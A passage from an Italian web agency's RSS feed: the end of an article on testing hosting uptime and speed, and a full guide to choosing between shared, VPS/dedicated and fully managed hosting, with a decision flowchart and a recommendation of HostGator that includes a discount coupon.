<p>Ho riportato il metodo con Pagespeed soprattutto perchè, anche per questo fattore, puoi usare il servizio anche per monitorare il sito di un concorrente, oppure un conoscente che già usa il provider che ti interessa.</p>
<h2>Conclusioni</h2>
<p>Abbiamo visto alcuni metodi e trucchi per verificare la bontà di un hosting provider in merito a velocità e &#8220;uptime&#8221; ovvero tempo di attività. E&#8217; possibile quindi verificare se il provider in questione offre un servizio qualitativamente buono, anche quando non abbiamo già acquistato un piano hosting.</p>
<p>&nbsp;</p>
<p>Se trovi che questo tutorial sia utile, per favore condividilo.</p>
]]></content:encoded>
					
		
		
			</item>
		<item>
		<title>Hosting: Scegliere il provider</title>
		<link>https://www.sitiweb-bologna.com/scegliere-hosting-provider/</link>
		
		<dc:creator><![CDATA[Siti Web Bologna]]></dc:creator>
		<pubDate>Wed, 02 Oct 2024 00:29:27 +0000</pubDate>
				<category><![CDATA[Risorse]]></category>
		<category><![CDATA[hosting]]></category>
		<category><![CDATA[provider]]></category>
		<category><![CDATA[scegliere]]></category>
		<guid isPermaLink="false">https://www.sitiweb-bologna.com/?p=1208</guid>

					<description><![CDATA[Nell&#8217;avviare un progetto web uno dei fattori fondamentali è la scelta del provider che ci fornisce l&#8217;hosting, ovvero il server su cui il sito risiederà. Una scelta sbagliata in questo senso può rendere inutile ogni sforzo fatto sull&#8217;aspetto grafico e dell&#8217;ottimizzazione. Ecco una guida completa con una semplice flow chart per non sbagliare. Fattori chiave [&#8230;]]]></description>
										<content:encoded><![CDATA[<p>Nell&#8217;avviare un progetto web uno dei fattori fondamentali è la scelta del provider che ci fornisce l&#8217;hosting, ovvero il server su cui il sito risiederà. Una scelta sbagliata in questo senso può rendere inutile ogni sforzo fatto sull&#8217;aspetto grafico e dell&#8217;ottimizzazione. Ecco una guida completa con una semplice flow chart per non sbagliare.</p>
<p><span id="more-1208"></span></p>
<h2>Fattori chiave</h2>
<p>Prima di scegliere è fondamentale porsi alcune domande e darsi una risposta in modo sincero. Per evitare di influenzare le tue scelte potresti rispondere subito alle domande che seguono, e poi vedere quale &#8220;peso&#8221; i vari fattori hanno sul tuo progetto.</p>
<ol>
<li><strong>Complessità di gestione</strong>: &#8220;Quanto ne capisci&#8221; di siti web? Qual&#8217;è il grado di capacità di gestione degli strumenti web che tu (o il tuo tecnico) avete?</li>
<li><strong>Tecnologia</strong>: Con che tecnologia è (o sarà) costruito il tuo sito? PHP/Linux, ASP/ASPx Microsoft o altre architetture speciali?</li>
<li><strong>Flessibilità</strong>: Quanto è probabile che tu estenda il sito con altri strumenti (mailing list, forum, domini di terzo livello, app facebook)?</li>
<li><strong>Traffico</strong>: Quanti utenti (in migliaia al giorno) ti aspetti di avere nel prossimo anno?</li>
<li><strong>Spazio</strong>: Quanto spazio disco userà il sito e la posta elettronica?</li>
<li><strong>Prezzo</strong>: Quanto è importante il costo?</li>
</ol>
<p>Se hai dato le risposte a queste domande annotale, più sotto fornirò uno schema semplicissimo per operare la scelta, in questo modo sarai certo che le indicazioni che riceverai <strong>saranno basate sulle tue reali necessità</strong>.</p>
<p>Intanto cerchiamo di capire che cosa possiamo aspettarci di trovare oggi sul mercato&#8230;</p>
<h2>Tipi di Hosting</h2>
<p>Per il momento è fondamentale capire le differenze che ci sono tra le varie opzioni. Se quello che leggi ti sembra esageratamente complesso puoi andare direttamente allo schema decisionale in fondo all&#8217;articolo.</p>
<h3>1 &#8211; Hosting condiviso (<em>shared hosting</em>)</h3>
<p><img loading="lazy" decoding="async" class="alignright size-full wp-image-1219" title="" src="https://www.sitiweb-bologna.com/wp-content/uploads/2012/08/shared-hosting.jpg" alt="" width="248" height="186" srcset="https://www.sitiweb-bologna.com/wp-content/uploads/2012/08/shared-hosting.jpg 300w, https://www.sitiweb-bologna.com/wp-content/uploads/2012/08/shared-hosting-72x54.jpg 72w, https://www.sitiweb-bologna.com/wp-content/uploads/2012/08/shared-hosting-157x117.jpg 157w" sizes="auto, (max-width: 248px) 100vw, 248px" />Questa opzione, che è forse la più conosciuta e usata, prevede che il tuo sito venga ospitato su una macchina che fondamentalmente ha un unico server web ben ottimizzato, e gestisce una quantità di siti (il tuo, e quello di tante altre persone). Tu hai la possibilità di caricare i file e eventuale database che compongono il tuo sito ed effettuare una serie di configurazioni che hanno effetto ovviamente solo sul tuo sito. Per quanto riguarda gli altri servizi (es. posta elettronica) anche essi vengono gestiti con modalità analoghe ovvero la tua posta elettronica viene inviata dallo stesso computer che invia la posta di altri centinaia (o migliaia) di siti.</p>
<h3>Pro:</h3>
<ul>
<li><strong>Costo</strong>: Il costo è contenuto (da 10 a 50 Euro per un singolo sito, o anche meno)</li>
<li><strong>Semplicità di gestione</strong>: La gestione del server viene fatta dal provider (aggiornamenti, blocchi, ecc.). Questo è un gran vantaggio e significa per te risparmiare ore di lavoro. Inoltre, se un server si blocca, il fatto che gestisca un alto numero di siti rende molto probabile che qualcuno chiami e solleciti il ripristino.</li>
</ul>
<h3>Contro:</h3>
<ul>
<li><strong>Configurabilità</strong>: Le opzioni di configurazione dei servizi sono limitate, ciò rende questa opzione poco adatta per siti costruiti con tecnologie &#8220;speciali&#8221;, tipo Java, .net o altre più o meno astruse.</li>
<li><strong>Limitazioni</strong>: Può esistere un limite di spazio e di traffico. Anche dove tale limite non sia esplicito, per forza di cose il provider non lascerà che il tuo sito divori tutta la capacità di elaborazione del server, quindi questa opzione non è adatta per siti ad alto traffico.</li>
<li><strong>Restrizioni</strong>: Ci possono essere delle restrizioni sui contenuti (mi riferisco ai siti per adulti)</li>
<li><strong>Performance</strong>: <em>Se non si sceglie con attenzione</em>, le prestazioni possono essere non ottimali. In altre parole il sito potrebbe essere lento (se il provider per guadagnare di più &#8220;stipa&#8221; migliaia di siti sullo stesso server), oppure ancora le tue mail potrebbero non arrivare a destinazione (se dallo stesso server qualche utente che usa il tuo stesso server e che ha meno scrupoli spedisce tonnellate di spam).</li>
</ul>
<p><strong>Un consiglio d&#8217;oro per chi usa hosting condiviso</strong>: Considerate sempre il fattore di <em>uptime</em> (ovvero la percentuale di tempo che il sito è attivo) che vi viene garantito: se il vostro sito sta offline per più del 99.50% (pari a circa 2 ore al mese) siete a rischio. Se Google trova il vostro sito offline spesso tutti gli sforzi fatti per promuoverlo, ottimizzarlo, saranno stati vani. Servizi come <a href="https://www.pingdom.com/" target="_blank" rel="noopener">www.pingdom.com</a> sono gratuiti e ottimi per misurare e &#8220;sgamare&#8221; i provider che promettono e non mantengono, spesso è possibile fare queste misurazioni su un sito di un conoscente che sapete usa già il provider che vorreste usare.</p>
<p>&nbsp;</p>
<h3>2 &#8211; Server dedicato e virtuale (VPS)</h3>
<p>Questa opzione si riferisce a un server tutto per te.</p>
<p style="padding-left: 30px;"><img loading="lazy" decoding="async" class="alignright size-full wp-image-1223" title="icon-vps" src="https://www.sitiweb-bologna.com/wp-content/uploads/2012/08/icon-vps.gif" alt="" width="160" height="160" srcset="https://www.sitiweb-bologna.com/wp-content/uploads/2012/08/icon-vps.gif 160w, https://www.sitiweb-bologna.com/wp-content/uploads/2012/08/icon-vps-150x150.gif 150w, https://www.sitiweb-bologna.com/wp-content/uploads/2012/08/icon-vps-72x72.gif 72w, https://www.sitiweb-bologna.com/wp-content/uploads/2012/08/icon-vps-157x157.gif 157w" sizes="auto, (max-width: 160px) 100vw, 160px" />Il termine &#8220;virtuale&#8221; o VPS si riferisce al fatto che alcuni provider riescono, con tecnologie ormai consolidate, a creare in un server alcune &#8220;macchine virtuali&#8221; ovvero ambienti separati ognuno con un suo sistema operativo e un suo server web, in modo che il cliente (cioè tu) abbia l&#8217;impressione di avere un server tutto per sè, cosa che sotto un certo aspetto è effettivamente vera. Per esempio, se un provider installa in un server dieci macchine virtuali darà la possibilità a dieci clienti di utilizzare ognuno una macchina (virtuale!) tutta per sè: ognuna di queste macchine (virtuali) il cliente la vedrà funzionare a circa un decimo della velocità della macchina contenitrice.</p>
<p>Fondamentalmente non c&#8217;è molta differenza fra server dedicato e server virtuale, se non per il costo e la velocità. ecco perchè ne parliamo come se fosse una unica soluzione. Si può dire anche che tra una buona macchina virtuale e un server dedicato di vecchia generazione ci sia poca o nessuna differenza.</p>
<p><strong>Pro:</strong></p>
<ul>
<li><strong>Configurabilità</strong>: Si ha una macchina tutta per sè dunque è possibile configurare i vari servizi come si vuole. Ciò rende questa soluzione ideale per progetti che usano tecnologie particolari e con requisiti non standard.</li>
<li><strong>Limitazioni</strong>: I limiti su spazio e traffico sono più facili da superare nel caso ce ne fosse bisogno (scalabilità). Attenzione, questo ha sempre un costo in denaro che spesso non è indifferente.</li>
<li><strong>Restrizioni</strong>: In generale si hanno meno restrizioni sui contenuti (è bene sempre verificare chiedendo)</li>
<li><strong>Benefici da IP unico</strong>: Pare che Google assegni credibilità maggiore ai siti che hanno un numero IP unico (in pratica, il fatto che esista una corrispondenza un server=un sito è, per Google, indice di qualità)</li>
<li><strong>Prestazioni</strong>: In generale (attenzione, per hosting VPS può non essere sempre vero) le prestazioni sono migliori rispetto all&#8217;hosting condiviso</li>
</ul>
<p><strong>Contro</strong>:</p>
<ul>
<li><strong>Costo</strong>: Il costo di questa soluzione è alto: solitamente da 5 a 10 volte quello di un hosting condiviso. Anche i potenziamenti sono costosi.</li>
<li><strong>Costi di gestione</strong>: Hai un server tutto per te: ciò significa anche che da quel momentote lo devi gestire tu. Caricare gli aggiornamenti, risolvere le magagne, monitorare gli accessi, verificare quando il sito si blocca e riavviare: questo è un costo che va messo in preventivo.</li>
<li><strong>Prestazioni (VPS)</strong>: Le prestazioni possono non essere brillanti nei server virtuali: dal momento che anche lo spazio disco è virtuale, aumentare tale spazio ha un costo che è relativamente elevato.</li>
</ul>
<p><img loading="lazy" decoding="async" class="alignright size-full wp-image-1218" title="" src="https://www.sitiweb-bologna.com/wp-content/uploads/2012/08/imap_server.png" alt="" width="128" height="128" srcset="https://www.sitiweb-bologna.com/wp-content/uploads/2012/08/imap_server.png 128w, https://www.sitiweb-bologna.com/wp-content/uploads/2012/08/imap_server-72x72.png 72w" sizes="auto, (max-width: 128px) 100vw, 128px" /></p>
<p style="padding-left: 60px;">Un cliente che aveva acquistato un hosting virtuale con disco da 10 GB si era reso conto poi che, mentre il sito occupava poco spazio, le proprie caselle di posta usate in modo IMAP (quindi, tutta sul server) e che contenevano tutta la corrispondenza di lavoro di vent&#8217;anni, occupavano da sole più di 25 GB. Un hosting condiviso sarebbe costato un decimo e non avrebbe avuto limitazioni di spazio.</p>
<h3>3 &#8211; Sito pronto chiavi in mano (<em>fully managed</em>)</h3>
<p>Se ci capite poco o nulla, questa è l&#8217;opzione per voi.</p>
<p>Questa opzione prevede che le possibilità di intervento sul server siano veramente minime (se non nulle) e si interviene direttamente sui contenuti del sito, la cui infrastruttura è già messa a disposizione dal provider.</p>
<p>Questa soluzione è tipica di pacchetti come <a href="https://accounts.google.com/v3/signin/identifier?dsh=S823059256%3A1678053137266680&amp;continue=https%3A%2F%2Fsites.google.com%2F%3Fhl%3Dit&amp;followup=https%3A%2F%2Fsites.google.com%2F%3Fhl%3Dit&amp;hl=it&amp;passive=1209600&amp;service=jotspot&amp;flowName=GlifWebSignIn&amp;flowEntry=ServiceLogin&amp;ifkv=AWnogHclHI4YeOZlShJfRMNeyHP5bsOPiZwY2-sSYEHxV1gYGSa6brOAbxFIGUg-wYya5MRPnCtCCg" target="_blank" rel="nofollow noopener">Google Sites</a> o <a href="https://www.blogger.com/about/" target="_blank" rel="nofollow noopener">Blogger</a>.</p>
<h3>Pro:</h3>
<ul>
<li><strong>Costo:</strong> Spesso sono gratuiti</li>
<li><strong>Semplicità di gestione / performance</strong>: Zero fatica di gestione, solitamente le performance sono ottime</li>
</ul>
<h3>Contro:</h3>
<ul>
<li><strong>Poca flessibilità</strong>: Non avete possiblità di configurare granché, soprattutto la tecnologia di base è già stata scelta quindi non la potete cambiare. Anche il layout si può personalizzare ma entro certi limiti.</li>
</ul>
<p>Ritengo questa opzione veramente ottima per chi si avvicina al mondo del web e vuole apprendere e capire, prima di investire denaro in un progetto web di una certa complessità.</p>
<p>&nbsp;</p>
<h2>Prendere la decisione</h2>
<p>Ora potete scoprire qual&#8217;è la soluzione migliore per voi consultando questo diagramma (fare clic per ingrandirlo), basta seguire le frecce corrispondenti alle risposte che avete dato alle varie domande. Troverai anche una indicazione approssimativa di <strong>spesa annua</strong>.</p>
<p><a href="https://www.sitiweb-bologna.com/wp-content/uploads/2012/08/flowchart-scelta-hosting.jpg"><img loading="lazy" decoding="async" class="alignnone wp-image-1215" title="flowchart scelta hosting - clicca per ingrandirlo!" src="https://www.sitiweb-bologna.com/wp-content/uploads/2012/08/flowchart-scelta-hosting.jpg" alt="" width="779" height="724" srcset="https://www.sitiweb-bologna.com/wp-content/uploads/2012/08/flowchart-scelta-hosting-300x280.jpg 300w, https://www.sitiweb-bologna.com/wp-content/uploads/2012/08/flowchart-scelta-hosting-72x67.jpg 72w, https://www.sitiweb-bologna.com/wp-content/uploads/2012/08/flowchart-scelta-hosting-157x146.jpg 157w" sizes="auto, (max-width: 779px) 100vw, 779px" /></a></p>
<p>Per finire, alcune precisazioni importanti. Ogni opzione (hosting condiviso, dedicato, sito pronto chiavi in mano) ha in realtà due varianti.</p>
<ul>
<li>La opzione 3 &#8211; sito già pronto &#8211; può essere in due varianti: <strong>gratuita</strong> (già citati Google Sites, Blogger, ma ce ne sono altri) o a <strong>pagamento</strong> (molte sono le offerte sul mercato, tra cui una pubblicizzata spesso in TV)</li>
<li>La opzione 1 &#8211; hosting condiviso &#8211; si distingue a seconda che ammetta o no <strong>siti multipli</strong>. Personalmente consiglio ai clienti un hosting provider americano, <strong>HostGator</strong>, che a prezzi di poco superiori ai piani hosting condivisi &#8220;nostrani&#8221;, offre supporto a siti/domini illimitati per un singolo account di tipo &#8220;baby&#8221; (costo: circa 80 euro annui) e il livello di servizio è eccellente. Se volete approfittare di un codice di sconto del 25% senza scadenza usate questo link cliccate <strong>View Web Hosting Plans </strong>e poi optate per <strong>Baby plan</strong>. Infine in fondo alla schermata in cui vi viene chiesto il nome dominio desiderato, nel campo <strong>coupon code</strong> scrivete: <strong>SITIWEBSCONTO25</strong>. Per gli hosting mono-sito posso consigliare <strong>Hosting Easy Linux di Aruba</strong>, ma lo ritengo una seconda scelta rispetto a HostGator.</li>
<li>La opzione 2 &#8211; server dedicato &#8211; come visto sopra prevede sia server dedicato &#8220;vero&#8221; sia &#8220;virtuale&#8221;. Dalla flow-chart decisionale sembrerebbe che questa sia la soluzione finale che risolve tutti i problemi, ma non è così. Consiglio di pensare bene alla questione spazio disco e al fatto che, dopo avervi dato il server dedicato, sarete soli a gestirlo. Se vedeste la faccia di chi scopre una intrusione di hacker nel proprio server dedicato (e soprattutto le risposte fornite dall&#8217;assistenza) capireste cosa voglio dire. Il mio consiglio è, insomma, di utilizzare questa soluzione solo quando veramente non ne potete fare a meno. <strong>Se potete ridurre i vostri requisiti, e soprattutto scegliere di utilizzare tecnologie semplici, è sempre la cosa migliore da fare</strong>.</li>
</ul>
<p>Per aggiungere concretezza all&#8217;argomento, vi consiglio di leggere gli articoli sempre su questo sito:</p>
<ul>
<li style="text-align: left;"><a href="https://www.sitiweb-bologna.com/hosting-trucchi-e-consigli-pt1/">Offerte Hosting &#8211; trucchi e consigli</a> &#8211; Vi spiega come valutare la bontà di un hosting ed evitare di scoprire quando ormai è troppo tardi che si è puntato, per così dire, sul cavallo sbagliato.</li>
<li style="text-align: left;"><a href="https://www.sitiweb-bologna.com/hosting-quali-sono-i-migliori/">Hosting &#8211; Quali sono i migliori</a> &#8211; Se volete andare dritti alla soluzione e evitare di perdere tempo, i migliori testati personalmente e recensiti, diciamo pane al pane e vino al vino</li>
</ul>
]]></content:encoded>
					
		
		
			</item>
	</channel>
</rss>
